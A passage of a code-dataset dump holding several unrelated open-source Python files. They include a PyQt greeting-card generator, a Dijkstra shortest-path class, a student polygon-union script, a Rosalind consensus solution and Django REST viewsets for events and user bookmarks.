)\n","repo_name":"klikz-dev/jaspr-mono","sub_path":"backend/jaspr/apps/common/tests/test_messaging_jobs.py","file_name":"test_messaging_jobs.py","file_ext":"py","file_size_in_byte":14069,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"18314444294","text":"'''\nFunction:\n 新年贺卡生成器\nAuthor:\n Charles\n微信公众号:\n Charles的皮卡丘\n'''\nimport os\nimport io\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5.QtWidgets import *\nfrom PyQt5 import QtWidgets, QtGui\nfrom PIL import Image, ImageDraw, ImageFont\n\n\n'''新年贺卡生成器'''\nclass NewYearCardGenerator(QtWidgets.QWidget):\n tool_name = '新年贺卡生成器'\n def __init__(self, parent=None, title='新年贺卡生成器 —— Charles的皮卡丘', **kwargs):\n super(NewYearCardGenerator, self).__init__()\n rootdir = os.path.split(os.path.abspath(__file__))[0]\n self.setFixedSize(600, 500)\n self.setWindowTitle(title)\n self.setWindowIcon(QIcon(os.path.join(rootdir, 'resources/icon/icon.png')))\n self.grid = QGridLayout()\n # 一些全局变量\n self.card_image = None\n self.font_size = 35\n # 定义组件\n # --Label\n self.content_label = QLabel('内容路径:')\n self.bg_label = QLabel('背景路径:')\n self.font_label = QLabel('字体路径:')\n self.fontcolor_label = QLabel('字体颜色:')\n self.show_label = QLabel()\n self.show_label.setScaledContents(True)\n self.show_label.setMaximumSize(600, 300)\n # --输入框\n self.content_edit = QLineEdit()\n self.content_edit.setText(os.path.join(rootdir, 'resources/contents/1.card'))\n self.bg_edit = QLineEdit()\n self.bg_edit.setText(os.path.join(rootdir, 'resources/bgimages/1.png'))\n self.font_edit = QLineEdit()\n self.font_edit.setText(os.path.join(rootdir, 'resources/fonts/font.TTF'))\n # --按钮\n self.choose_content_button = QPushButton('选择路径')\n self.choose_bg_button = QPushButton('选择路径')\n self.choose_font_button = QPushButton('选择路径')\n self.generate_button = QPushButton('生成贺卡')\n self.save_button = QPushButton('保存贺卡')\n # --下拉框\n self.font_color_combobox = QComboBox()\n for color in ['red', 'white', 'black', 'blue', 'yellow', 'green']:\n self.font_color_combobox.addItem(color)\n # 布局\n self.grid.addWidget(self.show_label, 0, 0, 5, 5)\n self.grid.addWidget(self.content_label, 5, 0, 1, 1)\n self.grid.addWidget(self.content_edit, 5, 1, 1, 3)\n self.grid.addWidget(self.choose_content_button, 5, 4, 1, 1)\n self.grid.addWidget(self.bg_label, 6, 0, 1, 1)\n self.grid.addWidget(self.bg_edit, 6, 1, 1, 3)\n self.grid.addWidget(self.choose_bg_button, 6, 4, 1, 1)\n self.grid.addWidget(self.font_label, 7, 0, 1, 1)\n self.grid.addWidget(self.font_edit, 7, 1, 1, 3)\n self.grid.addWidget(self.choose_font_button, 7, 4, 1, 1)\n self.grid.addWidget(self.fontcolor_label, 8, 0, 1, 1)\n self.grid.addWidget(self.font_color_combobox, 8, 1, 1, 1)\n self.grid.addWidget(self.generate_button, 8, 3, 1, 1)\n self.grid.addWidget(self.save_button, 8, 4, 1, 1)\n self.setLayout(self.grid)\n # 事件绑定\n self.choose_content_button.clicked.connect(self.openContentFilepath)\n self.choose_bg_button.clicked.connect(self.openBGFilepath)\n self.choose_font_button.clicked.connect(self.openFontFilepath)\n self.generate_button.clicked.connect(self.generate)\n self.save_button.clicked.connect(self.save)\n self.generate()\n '''生成贺卡'''\n def generate(self):\n # 检查路径是否存在\n content_path = self.content_edit.text()\n bg_path = self.bg_edit.text()\n font_path = self.font_edit.text()\n font_color = self.font_color_combobox.currentText()\n if (not self.checkFilepath(content_path)) or (not self.checkFilepath(bg_path)) or (not self.checkFilepath(font_path)):\n self.card_image = None\n return False\n # 写贺卡\n contents = open(content_path, encoding='utf-8').read().split('\\n')\n font_card = ImageFont.truetype(font_path, self.font_size)\n image = Image.open(bg_path).convert('RGB')\n draw = ImageDraw.Draw(image)\n draw.text((180, 30), contents[0], font=font_card, fill=font_color)\n for idx, content in enumerate(contents[1: -1]):\n draw.text((220, 40+(idx+1)*40), content, font=font_card, fill=font_color)\n draw.text((180, 40+(idx+2)*40+10), contents[-1], font=font_card, fill=font_color)\n # 显示\n fp = io.BytesIO()\n image.save(fp, 'BMP')\n qtimg = QtGui.QImage()\n qtimg.loadFromData(fp.getvalue(), 'BMP')\n qtimg_pixmap = QtGui.QPixmap.fromImage(qtimg)\n self.show_label.setPixmap(qtimg_pixmap)\n self.card_image = image\n '''打开贺卡内容文件'''\n def openContentFilepath(self):\n filepath = QFileDialog.getOpenFileName(self, \"请选取贺卡内容文件\", '.')\n self.content_edit.setText(filepath[0])\n '''打开贺卡背景图片文件'''\n def openBGFilepath(self):\n filepath = QFileDialog.getOpenFileName(self, \"请选取贺卡背景图片\", '.')\n self.bg_edit.setText(filepath[0])\n '''打开字体路径'''\n def openFontFilepath(self):\n filepath = QFileDialog.getOpenFileName(self, \"请选取字体文件\", '.')\n self.font_edit.setText(filepath[0])\n '''保存贺卡'''\n def save(self):\n filename = QFileDialog.getSaveFileName(self, '保存', './card.jpg', '所有文件(*)')\n if filename[0] != '' and self.card_image:\n self.card_image.save(filename[0])\n QDialog().show()\n '''检查文件是否存在'''\n def checkFilepath(self, filepath):\n if not filepath:\n return False\n return os.path.isfile(filepath)","repo_name":"CharlesPikachu/pytools","sub_path":"pytools/modules/newyearcardgenerator/newyearcardgenerator.py","file_name":"newyearcardgenerator.py","file_ext":"py","file_size_in_byte":5745,"program_lang":"python","lang":"en","doc_type":"code","stars":933,"dataset":"github-code","pt":"62"} +{"seq_id":"40164633726","text":"import math\nimport sys\nfrom zad1.PriorityQueue import PriorityQueue\n\n\nclass Dijkstra:\n def __init__(self, graph):\n self.graph = graph\n self.queue = PriorityQueue()\n # self.vertexes = vertexes # from 0 to number_of_vertexes - 1\n # self.list_of_neighbourhood = list_of_neighbourhood # from 0 to number_of_vertexes - 1\n\n # def weight(self, u_index, v_label):\n # for edge in self.graph.edges[u_index]:\n # if edge.node_to == v_label:\n # return edge.weight\n\n # def search_edge(self, node_from_value, node_to_value):\n # for edge in self.graph.edges[node_from_value - 1]:\n # if edge.node_to == node_to_value:\n # return edge\n\n def dijkstra(self, source):\n self.initialize_single_source(source)\n self.queue.build_min_heap(self.graph.vertexes.copy())\n while self.queue.empty() != 1:\n node_u = self.queue.pop()\n\n for edge in self.graph.edges[node_u.value - 1]:\n node_v = self.graph.vertexes[edge.node_to - 1]\n self.relax(node_u, node_v, edge.weight)\n\n def relax(self, node_u, node_v, weight):\n new_distance = node_u.key + weight\n if node_v.key > new_distance:\n self.queue.priority(node_v.value, new_distance)\n node_v.key = new_distance\n node_v.pre = node_u.value\n\n # def relax(self, u_index, v_index):\n # node_v = self.graph.vertexes[v_index]\n # node_u = self.graph.vertexes[u_index]\n # new_distance = node_u.key + self.weight(u_index, v_index + 1)\n # if node_v.key > new_distance:\n # self.queue.priority(v_index + 1, new_distance)\n # node_v.key = new_distance\n # node_v.pre = u_index + 1\n\n def initialize_single_source(self, source):\n for vertex in self.graph.vertexes:\n vertex.key = math.inf\n vertex.pre = None\n self.graph.vertexes[source].key = 0\n\n def print_shortest_paths(self):\n for vertex in self.graph.vertexes:\n while vertex is not None:\n if vertex.pre is None:\n print(vertex.value, vertex.value, 0, file=sys.stderr)\n vertex = vertex.pre\n else:\n predecessor = self.graph.vertexes[vertex.pre - 1]\n # print(vertex.value, vertex.pre, self.weight(vertex.pre - 1, vertex.value), file=sys.stderr, end=\" -> \")\n print(vertex.value, predecessor.value, vertex.key - predecessor.key, file=sys.stderr, end=\" -> \")\n vertex = predecessor\n # vertex = self.graph.vertexes[vertex.pre - 1]\n\n\n","repo_name":"Sernikjamnika/algorithms","sub_path":"list5/zad2/Dijkstra.py","file_name":"Dijkstra.py","file_ext":"py","file_size_in_byte":2688,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"31032915011","text":"from setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as fh:\n long_description = fh.read()\n\nsetup(\n name='catchall-generator',\n version='1.3',\n author='joelcloud',\n author_email='',\n license='MIT',\n description='Generate randomized emails for your catchall adress.',\n long_description=long_description,\n url='https://github.com/joelcloud/catchall-generator',\n packages=find_packages(),\n install_requires=['Faker']\n)","repo_name":"joelcloud/catchall-generator","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71681868996","text":"from __future__ import print_function\nimport string\n\n\ndef _formatFloat (x):\n \"\"\"Format a value using py2 float formatting.\n\n>>> print (_formatFloat ('asd'))\nasd\n>>> print (_formatFloat (1.234567801234567))\n1.23456780123\n>>> print (_formatFloat (2.0))\n2.0\n>>> print (_formatFloat (2e30))\n2e+30\n>>> print (_formatFloat (float('nan')))\nnan\n>>> print (_formatFloat (float('inf')))\ninf\n\"\"\"\n # No change if it's not a float.\n if not isinstance (x, float):\n return x\n # default formatting for floats in py2 was effectively the g format\n # with 12 significant figures --- except that the g format removes\n # a trailing `.0' while py2 preserves it.\n s = '%.12g' % x\n if s.find('.') < 0 and s.find('e') < 0 and s[-1] in string.digits:\n return s + '.0'\n return s\n\n\ndef _formatFloats (l):\n \"\"\"Convert an argument list to use py2 formatting.\n>>> print (_formatFloats ((1, 'asd', 3.0)))\n(1, 'asd', '3.0')\n\"\"\"\n return tuple ([_formatFloat(x) for x in l])\n\n\ndef fprint (f, *args):\n \"\"\"Print a string with no terminating newline.\n\nCompatible with the python 2 print statement.\n\n>>> import sys\n>>> fprint (sys.stdout, 'a'); fprint (sys.stdout, 'b')\na b\n>>> fwrite (sys.stdout, '\\\\n')\n\n>>> fprint (sys.stdout, 'a'); fprint (sys.stdout, 2.0, '\\\\n'); fprint (sys.stdout, 'b')\na 2.0 \nb\n\"\"\"\n if getattr (f, 'softspace', 0):\n f.write (' ')\n print (*_formatFloats (args), file=f, end='')\n if len(args) > 0 and isinstance (args[-1], str) and args[-1].endswith('\\n'):\n f.softspace = 0\n else:\n f.softspace = 1\n return\n\n\ndef fprintln (f, *args):\n \"\"\"Print a string with a terminating newline.\n\nCompatible with the python 2 print statement.\n\n>>> import sys\n>>> sys.stdout.softspace = 0\n>>> fprint (sys.stdout, 'a'); fprintln (sys.stdout, 'b'); fprintln (sys.stdout, 'c'); fprint (sys.stdout, 'd')\na b\nc\nd\n\"\"\"\n if getattr (f, 'softspace', 0):\n f.write (' ')\n print (*_formatFloats(args), file=f)\n f.softspace = 0\n return\n\n\ndef fwrite (f, *args):\n \"\"\"Write a string to a file.\n\nCompatible with the python 2 print statement space handling.\n>>> import sys\n>>> sys.stdout.softspace = 0\n>>> fprint (sys.stdout, 'a'); fwrite (sys.stdout, '\\\\n'); fprint (sys.stdout, 'c')\na\nc\n\"\"\"\n f.write (*args)\n f.softspace = 0\n return\n\n\nif __name__ == \"__main__\":\n print ('PyUtils/fprint.py') #pragma: NO COVER\n from PyUtils import coverage #pragma: NO COVER\n c = coverage.Coverage ('PyUtils.fprint') #pragma: NO COVER\n c.doctest_cover() #pragma: NO COVER\n","repo_name":"Yusuf-Manjra/athena-old","sub_path":"Tools/PyUtils/python/fprint.py","file_name":"fprint.py","file_ext":"py","file_size_in_byte":2596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8703095893","text":"import math\nimport sys\n\nclass node:\n def __init__(self, data = None):\n self.data = data\n self.next_node = None\n\nclass linkedList:\n def __init__(self):\n self.head = node()\n\n def append(self, data):\n new_node = node(data)\n position = self.head\n while position.next_node != None:\n position = position.next_node\n position.next_node = new_node \n\n def length(self):\n position = self.head\n i = 0\n while position.next_node != None:\n i += 1\n position = position.next_node\n return i\n\n def display(self):\n elements = []\n current_position = self.head\n while current_position.next_node != None:\n current_position = current_position.next_node\n elements.append(current_position.data)\n print(elements)\n\n\n def get_node(self, i):\n if i >= self.length():\n return None\n current_i = 0\n current_node = self.head\n while True:\n current_node = current_node.next_node\n if current_i == i:\n return current_node.data\n current_i += 1\n\n def delete_node(self, i):\n if i >= self.length():\n return\n current_i = 0\n current_node = self.head\n while True:\n last_node = current_node\n current_node = current_node.next_node\n if current_i == i:\n last_node.next = current_node.next\n return\n current_i += 1\n\nclass polygon:\n def __init__(self, points = [], x_value = [], y_value = []):\n self.x_value = x_value\n self.y_value = y_value\n self.point = points\n\n def set_points(self, points, x_value, y_value):\n for i in range(len(x_value)):\n temp = []\n temp.append(x_value[i])\n temp.append(y_value[i])\n points.append(temp)\n\n return points\n\n\ndef read_file(ax, ay, bx, by):\n breakpoint = 0\n f = open(inputfile, \"r\")\n lines = f.readlines()\n for line in lines:\n temp = line.split(\" \")\n if len(temp) == 1:\n if temp[0] == \"stroke\\n\":\n breakpoint += 1\n continue\n if breakpoint == 0:\n ax.append(int(temp[0]))\n ay.append(int(temp[1]))\n if breakpoint == 1:\n bx.append(int(temp[0]))\n by.append(int(temp[1]))\n\n return ax, ay, bx, by\n\ndef command_line():\n global inputfile\n num_elements = len(sys.argv[:])\n \n for i in range(num_elements):\n if sys.argv[i] == \"-f\":\n inputfile = str(sys.argv[i+1])\n\n return\n\n\ndef join(polygonA, polygonB):\n t_value = []\n output = []\n Polygon0 = []\n Polygon1 = []\n tempPolygon = []\n temp_node = None\n\n for j in range(polygonA.length() - 1):\n Polygon0.append(polygonA.get_node(j))\n if j+1 >= polygonA.length() - 1:\n Polygon0.append(polygonA.get_node(0))\n for j in range(polygonB.length() - 1):\n Polygon1.append(polygonB.get_node(j))\n if j+1 >= polygonB.length() - 1:\n Polygon1.append(polygonB.get_node(0))\n\n node = 0\n while(1):\n if(find_outside(polygonA, polygonB, node) == True):\n break\n else:\n node += 1\n \n output.append(polygonA.get_node(node)) \n\n #make node the index of polygonA you start at \n while(len(output) < 2 or output[0] != output[-1]):\n if node >= len(Polygon0) - 1:\n node = 0\n if temp_node != None:\n node = temp_node\n temp_node = None\n edge0 = []\n edge2_p1 = []\n intersecting_edges = []\n intersection_point = []\n edge0.append(Polygon0[node])\n edge0.append(Polygon0[node+1])\n\n for index in range(len(Polygon1) - 1):\n edge2 = []\n edge2.append(Polygon1[index])\n if index > len(Polygon1):\n edge2.append(Polygon1[0])\n else:\n edge2.append(Polygon1[index+1])\n intersect, t_value = intersection(edge0, edge2, t_value)\n if intersect == True:\n edge2_p1.append(edge2[1])\n\n\n\n if len(edge2_p1) == 0:\n output.append(Polygon0[node+1])\n else:\n t = min(t_value) \n \n ptx = float((1-t) * int(edge0[0][0]) + t * int(edge0[1][0]))\n pty = float((1-t) * int(edge0[0][1]) + t * int(edge0[1][1]))\n intersection_point.append(int(ptx))\n intersection_point.append(int(pty))\n output.append(intersection_point)\n if min(t_value) == t_value[0]:\n temp = edge2_p1[0]\n output.append(temp)\n else:\n temp = edge2_p1[1]\n output.append(temp)\n\n tempPolygon = Polygon1\n Polygon1 = Polygon0\n Polygon0 = tempPolygon\n\n temp = output[-1]\n temp_node = Polygon0.index(temp)\n t_value = []\n node += 1\n \n\n return output\n\n\n\n\ndef find_outside(polygonA, polygonB, node):\n num_intersections = 0\n num_points = polygonB.length()\n p = polygonA.get_node(node)\n p_prime = [10000, p[1]]\n edge0 = []\n edge0.append(p)\n edge0.append(p_prime)\n t_value = []\n intersect = False\n \n\n i = 0\n j = 0\n\n for i in range(num_points-1):\n edge2 = []\n edge2.append(polygonB.get_node(i))\n if i+1 >= num_points:\n edge2.append(polygonB.get_node(0))\n else:\n edge2.append(polygonB.get_node(i+1))\n intersect, t_value = intersection(edge0, edge2, t_value)\n if intersect == True:\n num_intersections += 1\n j += 1 \n if num_intersections % 2 == 0 or num_intersections == 0:\n outside = True\n else:\n outside = False\n\n return outside\n\n\n \ndef intersection(edge0, edge2, t_value): \n\n x11 = int(edge0[0][0])\n x12 = int(edge0[1][0])\n x21 = int(edge2[0][0])\n x22 = int(edge2[1][0])\n\n y11 = int(edge0[0][1])\n y12 = int(edge0[1][1])\n y21 = int(edge2[0][1])\n y22 = int(edge2[1][1])\n\n dx1 = x12 - x11\n dx2 = x22 - x21\n dy1 = y12 - y11\n dy2 = y22 - y21\n \n denominator0 = float((dy1 * dx2 - dx1 * dy2))\n denominator2 = float((dy2 * dx1 - dx2 * dy1))\n \n epsilon = .00000000000000000000001\n if 0 <= denominator0 <= epsilon or 0 <= denominator2 <= epsilon:\n intersection = False\n return intersection, t_value\n else:\n\n t0 = float(((x11 - x21) * dy2 + (y21 - y11) * dx2)/denominator0) \n t2 = float(((x21 - x11) * dy1 + (y11 - y21) * dx1)/denominator2)\n\n if 0 < t0 < 1 and 0 < t2 < 1:\n intersection = True\n t_value.append(t0)\n else:\n intersection = False\n\n \n return intersection, t_value\n\n\ndef write_out(output):\n f = open(\"out.ps\", \"w\")\n f.write(\"%!PS-Adobe-2.0\\n\")\n f.write(\"%%%BEGIN\\n\")\n for i in range(len(output)):\n if i == 0:\n f.write(\"{} {} moveto\\n\".format(output[i][0], output[i][1]))\n else:\n f.write(\"{} {} lineto\\n\".format(output[i][0], output[i][1]))\n f.write(\"stroke\\n\")\n f.write(\"%%%END\\n\")\n return\n\n\ndef print_to_terminal():\n f = open(\"out.ps\", \"r\")\n print(f.read())\n return\n\n\nif __name__ == \"__main__\":\n inputfile = \"HW3_a_in.ps\"\n ax = []\n ay = []\n bx = []\n by = []\n\n pointsA = []\n pointsB = []\n \n command_line()\n read_file(ax, ay, bx, by)\n\n\n proto_polygonA = polygon(pointsA, ax, ay)\n proto_polygonA.set_points(pointsA, ax, ay)\n proto_polygonB = polygon(bx, by)\n proto_polygonB.set_points(pointsB, bx, by)\n\n\n polygonA = linkedList()\n polygonB = linkedList()\n\n for i in range(len(pointsA)):\n polygonA.append(pointsA[i])\n for i in range(len(pointsB)):\n polygonB.append(pointsB[i])\n\n output = join(polygonA, polygonB)\n\n write_out(output)\n print_to_terminal()\n","repo_name":"dahallor/homework-repo","sub_path":"fall_2021/computer_graphics/Assignment 5/CG_hw5_r.py","file_name":"CG_hw5_r.py","file_ext":"py","file_size_in_byte":7986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14066563155","text":"'''\nROSALIND\nConsensus and Profile\n\nFinding a Most Likely Common Ancestor\nIn “Counting Point Mutations”, we calculated the minimum number of symbol mismatches between two strings of equal length to model the problem of finding the minimum number of point mutations occurring on the evolutionary path between two homologous strands of DNA. If we instead have several homologous strands that we wish to analyze simultaneously, then the natural problem is to find an average-case strand to represent the most likely common ancestor of the given strands.A matrix is a rectangular table of values divided into rows and columns. An m×n matrix has m rows and n columns. Given a matrix A, we write Ai,j to indicate the value found at the intersection of row i and column j.\n\nSay that we have a collection of DNA strings, all having the same length n. Their profile matrix is a 4×n matrix P in which P1,j represents the number of times that 'A' occurs in the jth position of one of the trings, P2,j represents the number of times that C occurs in the jth position, and so on (see below).\n\nA consensus string c is a string of length n formed from our collection by taking the most common symbol at each position; the jth symbol of c therefore corresponds to the symbol having the maximum value in the j-th column of the profile matrix. Of course, there may be more than one most common symbol, leading to multiple possible consensus strings.\n\n A T C C A G C T\n G G G C A A C T\n A T G G A T C T\nDNA Strings\tA A G C A A C C\n T T G G A A C T\n A T G C C A T T\n A T G G C A C T\n\n A 5 1 0 0 5 5 0 0\nProfile\t C 0 0 1 4 2 0 6 1\n G 1 1 6 3 0 1 0 0\n T 1 5 0 0 0 1 1 6\n\nConsensus\tA T G C A A C T\n\n\nGiven: A collection of at most 10 DNA strings of equal length (at most 1 kbp) in FASTA format.\n\nReturn: A consensus string and profile matrix for the collection. (If several possible consensus strings exist, then you may return any one of them.)\n\nSample Dataset\n>Rosalind_1\nATCCAGCT\n>Rosalind_2\nGGGCAACT\n>Rosalind_3\nATGGATCT\n>Rosalind_4\nAAGCAACC\n>Rosalind_5\nTTGGAACT\n>Rosalind_6\nATGCCATT\n>Rosalind_7\nATGGCACT\n\nSample Output\nATGCAACT\nA: 5 1 0 0 5 5 0 0\nC: 0 0 1 4 2 0 6 1\nG: 1 1 6 3 0 1 0 0\nT: 1 5 0 0 0 1 1 6\n'''\n\nfrom Bio import SeqIO\nimport numpy as np\nimport pandas as pd\n\nseq_object = SeqIO.parse(\"rosalind_cons.txt\", \"fasta\")\n\nseq_list = []\nfor seq in seq_object:\n lis_seq = list(seq.seq)\n seq_list.append(lis_seq)\n\narr_seq = np.array(seq_list)\n\ncol = arr_seq.shape[1]\nA = []; C = []; G = []; T = []\nfor i in range(col):\n # A = A + ' ' + str(str(arr_seq[:,i]).count('A'))\n A.append(str(arr_seq[:,i]).count('A')) \n C.append(str(arr_seq[:,i]).count('C'))\n G.append(str(arr_seq[:,i]).count('G'))\n T.append(str(arr_seq[:,i]).count('T'))\n\ndf_ACGT = pd.DataFrame(list(zip(A, C, G, T)))\ndf_ACGT.columns = ['A', 'C', 'G', 'T']\n\n# find the column name of maximum values in every row\nconsensus = df_ACGT.idxmax(axis=1)\n\n# print result\nprint(''.join(str(item) for item in consensus))\nprint('A:', ' '.join(str(item) for item in A))\nprint('C:', ' '.join(str(item) for item in C))\nprint('G:', ' '.join(str(item) for item in G))\nprint('T:', ' '.join(str(item) for item in T))","repo_name":"jannovergara/rosalind-python","sub_path":"Rosalind/ConsensusandProfile/ConsensusandProfile.py","file_name":"ConsensusandProfile.py","file_ext":"py","file_size_in_byte":3283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"13220022844","text":"from django.contrib.auth import get_user_model\nfrom django.db.models import Count, Q, OuterRef, Subquery, Case, When, Value, CharField, F\nfrom drf_spectacular.utils import extend_schema, OpenApiParameter\nfrom rest_framework import filters\nfrom rest_framework.decorators import action\nfrom rest_framework.generics import get_object_or_404\nfrom rest_framework.pagination import CursorPagination\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.viewsets import ModelViewSet\n\nfrom backend.events.enum import EventStatus\nfrom backend.events.models import Event, UserEvent\nfrom backend.events.serializers import EventDetailSerializer, UserEventSerializer\nfrom backend.users.serializers import UserBasicSerializer\n\nUser = get_user_model()\n\nevent_status_query_parameter = OpenApiParameter(\n name='status', location=OpenApiParameter.QUERY,\n description='Event Status', required=False, type=str, enum=[es.value for es in EventStatus]\n)\n\nevent_interest_query_parameter = OpenApiParameter(\n name='interest', location=OpenApiParameter.QUERY,\n description='User Interest Status', required=False, type=str, enum=UserEvent.InterestStatus.values\n)\n\nextend_events_schema = extend_schema(\n parameters=[event_status_query_parameter],\n)\n\nGET_USERS_ACTION = 'get_users'\n\n\nclass EventsAPIViewSet(ModelViewSet):\n permission_classes = (IsAuthenticated,)\n serializer_class = EventDetailSerializer\n filter_backends = (filters.OrderingFilter,)\n ordering_fields = ('created_at',)\n ordering = '-created_at'\n\n def get_object(self):\n \"\"\"\n Returns the object the view is displaying.\n\n You may want to override this if you need to provide non-standard\n queryset lookups. Eg if objects are referenced using multiple\n keyword arguments in the url conf.\n \"\"\"\n queryset = self.filter_queryset(self.get_events_queryset())\n\n # Perform the lookup filtering.\n lookup_url_kwarg = self.lookup_url_kwarg or self.lookup_field\n\n assert lookup_url_kwarg in self.kwargs, (\n 'Expected view %s to be called with a URL keyword argument '\n 'named \"%s\". Fix your URL conf, or set the `.lookup_field` '\n 'attribute on the view correctly.' %\n (self.__class__.__name__, lookup_url_kwarg)\n )\n\n filter_kwargs = {self.lookup_field: self.kwargs[lookup_url_kwarg]}\n obj = get_object_or_404(queryset, **filter_kwargs)\n\n # May raise a permission denied\n self.check_object_permissions(self.request, obj)\n\n return obj\n\n def get_serializer_class(self):\n if self.action == GET_USERS_ACTION:\n return UserBasicSerializer\n\n return super(EventsAPIViewSet, self).get_serializer_class()\n\n @property\n def paginator(self):\n \"\"\"\n The paginator instance associated with the view, or `None`.\n \"\"\"\n if not hasattr(self, '_paginator'):\n if self.pagination_class is None:\n self._paginator = None\n elif self.action != GET_USERS_ACTION:\n self._paginator = CursorPagination()\n else:\n self._paginator = self.pagination_class()\n return self._paginator\n\n def get_queryset(self):\n if self.action == GET_USERS_ACTION:\n return self.get_event_users_queryset()\n\n return self.get_events_queryset()\n\n def get_events_queryset(self):\n status = self.request.query_params.get('status')\n queryset = Event.objects\n\n if status and status.lower() == EventStatus.PAST.value:\n queryset = queryset.filter_past_events()\n elif status and status.lower() == EventStatus.PENDING.value:\n queryset = queryset.filter_pending_events()\n else:\n queryset = queryset.all()\n\n queryset = queryset.annotate(\n attend_count=Count(\n 'user_events',\n filter=Q(user_events__interest_status=UserEvent.InterestStatus.ATTEND)\n ),\n not_attend_count=Count(\n 'user_events',\n filter=Q(user_events__interest_status=UserEvent.InterestStatus.NOT_ATTEND)\n ),\n ignore_count=Count(\n 'user_events',\n filter=Q(user_events__interest_status=UserEvent.InterestStatus.IGNORE)\n ),\n interest_status=Subquery(\n UserEvent.objects.filter(\n event=OuterRef('id'),\n user=self.request.user\n ).values('interest_status')[:1]\n ),\n user_event=Subquery(\n UserEvent.objects.filter(\n event=OuterRef('id'),\n user=self.request.user\n ).values('id')[:1]\n )\n ).annotate(\n interest_status=Case(\n When(\n interest_status__isnull=True,\n then=Value(\n UserEvent.InterestStatus.IGNORE,\n output_field=CharField()\n ),\n ),\n default=F('interest_status')\n )\n ).order_by('-start_date')\n\n return queryset\n\n def get_event_users_queryset(self):\n interest = self.request.query_params.get('interest')\n queryset = User.objects.filter(\n user_events__event=self.get_object(),\n )\n\n if interest:\n queryset = queryset.filter(user_events__interest_status=interest)\n\n return queryset.order_by('created_at')\n\n @extend_events_schema\n def list(self, request, *args, **kwargs):\n return super(EventsAPIViewSet, self).list(request, *args, **kwargs)\n\n @extend_events_schema\n def retrieve(self, request, *args, **kwargs):\n return super(EventsAPIViewSet, self).retrieve(request, *args, **kwargs)\n\n @extend_schema(\n responses=UserBasicSerializer(many=True),\n parameters=[\n OpenApiParameter(\n name='id', location=OpenApiParameter.PATH,\n description='A unique integer value identifying this event.',\n required=True, type=int\n ),\n event_status_query_parameter,\n event_interest_query_parameter\n ],\n )\n @action(detail=True, methods=['get'], url_path='users')\n def get_users(self, request, *args, **kwargs):\n return super(EventsAPIViewSet, self).list(request, *args, **kwargs)\n\n\nclass UserEventsAPIViewSet(ModelViewSet):\n permission_classes = (IsAuthenticated,)\n serializer_class = UserEventSerializer\n queryset = UserEvent.objects.all()\n pagination_class = CursorPagination\n filter_backends = (filters.OrderingFilter,)\n ordering_fields = ('created_at',)\n ordering = '-created_at'\n","repo_name":"Luqman-Ud-Din/rishta-app","sub_path":"Rishta_App/backend/events/views/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":6819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73631437958","text":"import logging\nimport six\n\nfrom django.contrib.contenttypes.models import ContentType, ContentTypeManager\n\nfrom .models import UserLink\n\nLOG = logging.getLogger(__name__)\n\n## These functions are mainly used internally\n\ndef name_to_type(name):\n \"\"\"Returns the ContentType for a name like 'auth_user' or 'auth.user'. Two\n formats to help with js and python code syntax.\n \"\"\"\n \n if '_' in name:\n (app_label, model_name) = name.split('_', 2)\n else:\n (app_label, model_name) = name.split('.', 2)\n return ContentType.objects.get(app_label=app_label, model=model_name)\n\n\ndef modelclass_to_contenttype(model_class):\n \"\"\"Given a model_class return the generic contenttype\"\"\"\n return ContentType.objects.get_for_model(model_class)\n\n\ndef model_to_ct(nm_or_class):\n \"\"\"Get the model's ContentType. \n Let's us take string name or Class object and find the ContentType\n \"\"\"\n if isinstance(nm_or_class, six.string_types): # py2 vs py3\n return name_to_type(nm_or_class)\n return modelclass_to_contenttype(nm_or_class)\n \n\n## These are the main public API\n\ndef get_bookmarks(user, target_model=None):\n \"\"\"Returns the links which a user bookmarked. Can limited to a specific type\"\"\"\n if not user.is_authenticated or user.is_anonymous():\n return None\n\n if target_model:\n return UserLink.objects.filter(\n user=user,\n link_type=UserLink.BOOKMARKED,\n content_type=model_to_ct(target_model)\n )\n\n return UserLink.objects.filter(\n user=user,\n link_type=UserLink.BOOKMARKED,\n )\n\n\ndef get_bookmarked_objects(user, target_model=None):\n \"\"\"Returns objects which a user bookmarked. Can be limited to a specific type\"\"\"\n links = get_bookmarks(user, target_model)\n return [l.content_object for l in links]\n\n\ndef get_likes(user, target_model=None):\n \"\"\"Returns the links which a user liked. Can limited to a specific type\"\"\"\n if not user.is_authenticated or user.is_anonymous():\n LOG.warn(\"user not auth or is_anon: {}\".format(user))\n return None\n \n if target_model:\n return UserLink.objects.filter(\n user=user,\n link_type=UserLink.LIKES,\n content_type=model_to_ct(target_model),\n )\n return UserLink.objects.filter(\n user=user,\n link_type=UserLink.LIKES,\n )\n\ndef get_liked_objects(user, target_model=None):\n \"\"\"Returns objects which a user liked. Can be limited to a specific type\"\"\"\n links = get_likes(user, target_model)\n return [l.content_object for l in links]\n\ndef get_links(target_model, target_id):\n \"\"\"Return a list of links to this target_table/target_id combo by anyone\"\"\"\n return UserLink.objects.filter(\n content_type=model_to_ct(target_model),\n object_id=target_id,\n )\n\ndef who_cares(target_model, target_id):\n \"\"\"Who cares about type/id.\n Get's the list of users that have linked to a specific object\n \"\"\"\n links = get_links(target_model, target_id)\n users = [link.user for link in links]\n return users\n","repo_name":"cgthayer/test","sub_path":"django-userlinks/userlinks/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"40548671651","text":"import boto3\nimport os\n\n\ndef publish_message_to_sns(message: str):\n topic_arn = 